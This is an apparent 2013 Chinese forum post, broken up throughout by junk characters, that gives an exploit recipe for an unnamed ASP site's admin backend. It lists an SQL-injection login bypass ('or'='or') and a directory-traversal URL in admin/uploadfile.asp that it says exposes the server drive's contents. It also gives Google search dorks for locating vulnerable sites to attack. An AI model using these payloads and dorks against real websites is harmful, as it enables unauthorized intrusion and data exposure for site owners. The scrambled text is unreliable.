后台万能密码 'or'='or'
) q# \2 W& o; R) Q4 D
' B" Q' ^, |0 A- n$ L" d后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！ O/ y" `4 c: ]+ A0 _/ h; Y
admin/uploadfile.asp?currentFolder=/upfiles/../
8 Z- ?4 V% |( j; k* f8 d; y
e4 z" ~8 D2 Y$ M) @漏洞证明：% g7 u5 t( O! x* u- Q, E; c0 K
* q" W, a6 w4 s/ ^5 f8 `7 t/ ~0 g谷歌：inurl:type.asp?id=1 新闻中心
/ g" k& R+ [& J/ B1 R% B, l% ~或者 ：inurl:download_ok.asp?4 E* x( e* f+ m/ N/ `& A' S
) K# r Y6 m6 ~8 B8 D# s4 A. e
|
发表于 2013-3-14 20:17:32
收藏
支持
反对